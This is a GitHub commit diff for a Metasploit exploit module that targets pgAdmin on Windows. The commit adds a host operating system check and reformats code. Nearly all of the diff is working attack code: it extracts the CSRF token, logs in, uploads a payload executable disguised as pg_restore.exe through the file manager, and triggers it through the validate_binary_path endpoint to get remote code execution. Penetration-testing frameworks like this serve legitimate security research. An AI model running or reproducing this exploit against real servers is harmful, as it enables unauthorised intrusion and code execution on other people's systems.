Skip to content

Commit 251c1c0

Browse files
committed
Adding check for host operating system
1 parent 6326cac commit 251c1c0

File tree

1 file changed

+49
-40
lines changed

1 file changed

+49
-40
lines changed

modules/exploits/windows/http/pgadmin_binary_path_api.rb

Lines changed: 49 additions & 40 deletions
Original file line numberDiff line numberDiff line change
@@ -70,7 +70,7 @@ def check
7070
def set_csrf_token_from_login_page(res)
7171
if res&.code == 200 && res.body =~ /csrfToken": "([\w+.-]+)"/
7272
@csrf_token = Regexp.last_match(1)
73-
# at some point between v7.0 and 7.7 the token format changed
73+
# at some point between v7.0 and 7.7 the token format changed
7474
elsif (element = res.get_html_document.xpath("//input[@id='csrf_token']")&.first)
7575
@csrf_token = element['value']
7676
end
@@ -80,7 +80,6 @@ def set_csrf_token_from_config(res)
8080
if res&.code == 200 && res.body =~ /csrfToken": "([\w+.-]+)"/
8181
@csrf_token = Regexp.last_match(1)
8282
# at some point between v7.0 and 7.7 the token format changed
83-
# pgAdmin['csrf_token'] =
8483
else
8584
@csrf_token = res.body.scan(/pgAdmin\['csrf_token'\]\s*=\s*'([^']+)'/)&.flatten&.first
8685
end
@@ -95,6 +94,13 @@ def auth_required?
9594
end
9695
end
9796

97+
def on_windows?
98+
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'browser/js/utils.js'), 'keep_cookies' => true)
99+
if res&.code == 200 && platform = res.body.scan(/pgAdmin\['platform'\]\s*=\s*'([^']+)';/)&.flatten&.first
100+
return platform == 'win32' ? true : false
101+
end
102+
end
103+
98104
def get_version
99105
if auth_required?
100106
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true)
@@ -133,17 +139,17 @@ def exploit
133139

134140
if auth_required?
135141
res = send_request_cgi({
136-
'uri' => normalize_uri(target_uri.path, 'authenticate/login'),
137-
'method' => 'POST',
138-
'keep_cookies' => true,
139-
'vars_post' => {
140-
'csrf_token' => csrf_token,
141-
'email' => datastore['USERNAME'],
142-
'password' => datastore['PASSWORD'],
143-
'language' => 'en',
144-
'internal_button' => 'Login'
145-
}
146-
})
142+
'uri' => normalize_uri(target_uri.path, 'authenticate/login'),
143+
'method' => 'POST',
144+
'keep_cookies' => true,
145+
'vars_post' => {
146+
'csrf_token' => csrf_token,
147+
'email' => datastore['USERNAME'],
148+
'password' => datastore['PASSWORD'],
149+
'language' => 'en',
150+
'internal_button' => 'Login'
151+
}
152+
})
147153

148154
unless res&.code == 302 && res.headers['Location'] != normalize_uri(target_uri.path, 'login')
149155
fail_with(Failure::NoAccess, 'Failed to authenticate to pgAdmin')
@@ -152,6 +158,9 @@ def exploit
152158
print_status('Successfully authenticated to pgAdmin')
153159
end
154160

161+
unless on_windows?
162+
fail_with(Failure::BadConfig, 'This exploit is specific to Windows targets!')
163+
end
155164
file_name = 'pg_restore.exe'
156165
file_manager_upload_and_trigger(file_name, generate_payload_exe)
157166
rescue ::Rex::ConnectionError
@@ -162,17 +171,17 @@ def exploit
162171

163172
def file_manager_init
164173
res = send_request_cgi({
165-
'uri' => normalize_uri(target_uri.path, 'file_manager/init'),
166-
'method' => 'POST',
167-
'keep_cookies' => true,
168-
'ctype' => 'application/json',
169-
'headers' => { 'X-pgA-CSRFToken' => csrf_token },
170-
'data' => {
171-
'dialog_type' => 'storage_dialog',
172-
'supported_types' => ['sql', 'csv', 'json', '*'],
173-
'dialog_title' => 'Storage Manager'
174-
}.to_json
175-
})
174+
'uri' => normalize_uri(target_uri.path, 'file_manager/init'),
175+
'method' => 'POST',
176+
'keep_cookies' => true,
177+
'ctype' => 'application/json',
178+
'headers' => { 'X-pgA-CSRFToken' => csrf_token },
179+
'data' => {
180+
'dialog_type' => 'storage_dialog',
181+
'supported_types' => ['sql', 'csv', 'json', '*'],
182+
'dialog_title' => 'Storage Manager'
183+
}.to_json
184+
})
176185

177186
unless res&.code == 200 && (trans_id = res.get_json_document.dig('data', 'transId')) && (home_folder = res.get_json_document.dig('data', 'options', 'homedir'))
178187
fail_with(Failure::UnexpectedReply, 'Failed to initialize a file manager transaction Id or home folder')
@@ -196,13 +205,13 @@ def file_manager_upload_and_trigger(file_path, file_contents)
196205
form.add_part('my_storage', nil, nil, 'form-data; name="storage_folder"')
197206

198207
res = send_request_cgi({
199-
'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"),
200-
'method' => 'POST',
201-
'keep_cookies' => true,
202-
'ctype' => "multipart/form-data; boundary=#{form.bound}",
203-
'headers' => { 'X-pgA-CSRFToken' => csrf_token },
204-
'data' => form.to_s
205-
})
208+
'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"),
209+
'method' => 'POST',
210+
'keep_cookies' => true,
211+
'ctype' => "multipart/form-data; boundary=#{form.bound}",
212+
'headers' => { 'X-pgA-CSRFToken' => csrf_token },
213+
'data' => form.to_s
214+
})
206215
unless res&.code == 200 && res.get_json_document['success'] == 1
207216
fail_with(Failure::UnexpectedReply, 'Failed to upload file contents')
208217
end
@@ -212,15 +221,15 @@ def file_manager_upload_and_trigger(file_path, file_contents)
212221
print_status("Payload uploaded to: #{upload_path}")
213222

214223
send_request_cgi({
215-
'uri' => normalize_uri(target_uri.path, '/misc/validate_binary_path'),
216-
'method' => 'POST',
217-
'keep_cookies' => true,
218-
'ctype' => 'application/json',
219-
'headers' => { 'X-pgA-CSRFToken' => csrf_token },
220-
'data' => {
221-
'utility_path' => upload_path[0..upload_path.size - 16]
222-
}.to_json
223-
})
224+
'uri' => normalize_uri(target_uri.path, '/misc/validate_binary_path'),
225+
'method' => 'POST',
226+
'keep_cookies' => true,
227+
'ctype' => 'application/json',
228+
'headers' => { 'X-pgA-CSRFToken' => csrf_token },
229+
'data' => {
230+
'utility_path' => upload_path[0..upload_path.size - 16]
231+
}.to_json
232+
})
224233

225234
true
226235
end

0 commit comments

Comments
 (0)